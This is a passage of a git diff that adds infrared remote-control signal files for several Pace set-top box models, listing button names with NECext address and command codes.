parsed +protocol: NECext +address: 0A 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 21 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 28 00 00 00 +# +name: browse +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 46 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: interactive +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 61 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: internet +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6F 00 00 00 +# +name: KEY_EMAIL +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 70 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 71 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir new file mode 100644 index 000000000..396ad0789 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: one +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 00 00 00 00 +# +name: four +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 00 00 00 00 +# +name: five +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 00 00 00 00 +# +name: zero +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 00 00 00 00 +# +name: vol+ +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 00 00 00 00 +# +name: vol- +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 00 00 00 00 +# +name: setup +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 00 00 00 00 +# +name: two +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 01 00 00 00 +# +name: six +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 01 00 00 00 +# +name: three +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 02 00 00 00 +# +name: seven +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 02 00 00 00 +# +name: eight +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 04 00 00 00 +# +name: nine +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 04 00 00 00 +# +name: up +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 04 00 00 00 +# +name: down +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 04 00 00 00 +# +name: left +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 05 00 00 00 +# +name: right +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 06 00 00 00 +# +name: mute +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 08 00 00 00 +# +name: select +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 08 00 00 00 +# +name: i +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 0A 00 00 00 +# +name: ch+ +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 10 00 00 00 +# +name: ch- +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 10 00 00 00 +# +name: red +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 18 00 00 00 +# +name: green +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 19 00 00 00 +# +name: yellow +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 1A 00 00 00 +# +name: blue +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 20 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 24 00 00 00 +# +name: help +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 40 00 00 00 +# +name: back +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 42 00 00 00 +# +name: foxtel +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 49 00 00 00 +# +name: boxoffice +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 80 00 00 00 +# +name: tvguide +type: parsed +protocol: NECext +address: 10 50 00 00 +command: 88 00 00 00 +# +name: active +type: parsed +protocol: NECext +address: 10 50 00 00 +command: A8 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir new file mode 100644 index 000000000..4be9a3f83 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 20 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 21 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 22 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 23 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 24 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 25 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 26 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 27 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 28 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 29 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2B 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2D 00 00 00 +# +name: KEY_G +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 30 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 31 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 32 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 33 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 34 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 35 00 00 00 +# +name: BOX +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 36 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 37 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 38 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 39 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3B 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3D 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3E 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir new file mode 100644 index 000000000..5829a2cd9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: power +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: ch-up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: ch-down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: setup +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: left +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: right +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: select +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: red +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: green +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: yellow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: blue +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 70 00 00 00 +# +name: boxoffice +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7D 00 00 00 +# +name: active +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 +# +name: foxtel +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 80 00 00 00 +# +name: help +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 81 00 00 00 +# +name: back +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 83 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 84 00 00 00 +# +name: i +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CB 00 00 00 +# +name: tvguide +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CC 00 00 00 +# +name: planner +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir new file mode 100644 index 000000000..a120561a5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 00 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 02 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 05 00 00 00 +# +name: TV_SAT +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 09 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 0A 00 00 00 +# +name: KEY_F +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 0B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 0C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 0E 00 00 00 +# +name: CHAN_RIGHT +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 0F 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 10 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 11 00 00 00 +# +name: CHAN_LEFT +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 12 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 14 00 00 00 +# +name: NORM +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 15 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 18 00 00 00 +# +name: LEVEL +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 19 00 00 00 +# +name: SHAPE +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 1C 00 00 00 +# +name: EFFECT +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 1D 00 00 00 +# +name: DOLBY +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir new file mode 100644 index 000000000..7ea20091e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: EFFECT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: EFFECT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: SHAPE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: SHAPE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: RADIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: RADIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: CHAN+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: CHAN+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: LEVEL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: LEVEL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: TV/SAT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: TV/SAT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: NORM +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: NORM +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: CHAN- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: CHAN- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: F +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: F +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: RCL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: RCL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir new file mode 100644 index 000000000..cdb567766 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 00 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 02 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 05 00 00 00 +# +name: TV_VCR +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 09 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 0A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 0B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 0C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 0F 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 10 00 00 00 +# +name: LEFT_OF_0 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 12 00 00 00 +# +name: RIGHT_OF_0 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 14 00 00 00 +# +name: NORM +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 15 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 18 00 00 00 +# +name: LT +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir new file mode 100644 index 000000000..0ffce986e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 20 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 21 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 22 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 23 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 24 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 25 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 26 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 27 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 28 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 29 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2B 00 00 00 +# +name: question +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2E 00 00 00 +# +name: reserved +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 2F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 30 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 31 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 32 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 33 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 34 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 35 00 00 00 +# +name: interactive +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 36 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 37 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 38 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 39 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3B 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3D 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3E 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 84 3C 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir new file mode 100644 index 000000000..154ca3c6f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 23 80 00 00 +command: 0C 00 00 